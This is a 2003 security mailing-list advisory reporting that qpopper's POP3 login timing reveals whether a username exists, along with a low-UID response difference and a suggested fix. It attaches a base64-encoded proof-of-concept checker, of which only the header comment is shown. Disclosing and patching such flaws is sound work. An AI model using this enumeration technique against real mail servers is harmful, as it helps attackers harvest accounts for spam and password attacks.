Date: Sat, 15 Mar 2003 20:13:43 +0100
From: Dennis Lubert <[email protected]>
To: [email protected]Subject: qpopper timing analysis on to determine if a username exists on a system
--=====================_35019895==_
Content-Type: text/plain; charset="us-ascii"; format=flowed
Hello,
during development of a pop3 tool I found an issue that makes it possible
for any user to check the validity of a user on a target system. If a user
is valid and an invalid password has been supplied, then the system waits
~10 seconds until it sends a disconnect message and disconnect. If the
username was not correct, then it disconnect immediately after the wrong
password.
This makes it possible to scan a server for valid users, to generate spam
sending lists, or to check a username for another kind of attack.
Tested against qpopper 3.1 and 4.0.4, others might be affected as well.
Attached is the source code for a program that will do a simple check on a
pop3 server. Additionally qpopper will also return an answer if the
username supplied has a UID < 100 (< 10 for 3.1), which will also been checked.
The fix should be simple, there must be a usleep() call or similar that
should either be deleted, or added also to the part where the username was
not correct.
greets
Dennis
--=====================_35019895==_
Content-Type: text/plain; name="poptest.cpp";
x-mac-type="42494E41"; x-mac-creator="74747874"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="poptest.cpp"
LyoqCiAqICRBdXRob3I6IHBsYXNtYWhoICQKICogJERhdGU6IDIwMDMvMDMvMTEgMTU6MDE6NDUg
JAogKgogKiBUaGlzIGlzIGEgcHJvb2Ygb2YgY29uY2VwdCBjb2RlIHRvIGNoZWNrIHdoZXRlciBh
IGdpdmVuIHVzZXJuYW1lIGlzIHZhbGlkIG9uCiAqIGEgc3lzdGVtIHJ1bm5pbmcgcXBvcHBlciA0
LjAuNCBhbmQgcG9zc2libHkgb3RoZXIgdmVyc2lvbnMuCiAqCiAqIENvbXBpbGUgOgogKgogKiBn
KysgLVdhbGwgcG9wdGVzdC5jcHAgLW8gcG9wdGVzdAogKiBvciAKICogZysrIC1EX0RFQlVHXyBw
b3B0ZXN0LmNwcCAtbyBwb3B0ZXN0CiAqICh0byBzZWUgd2hhdHMgZ29pbmcgb24pIAogKgogKiBS
dW4gOgogKgogKiAuL3BvcHRlc3QgPGhvc3RuYW1lPiA8dXNlcm5hbWU+C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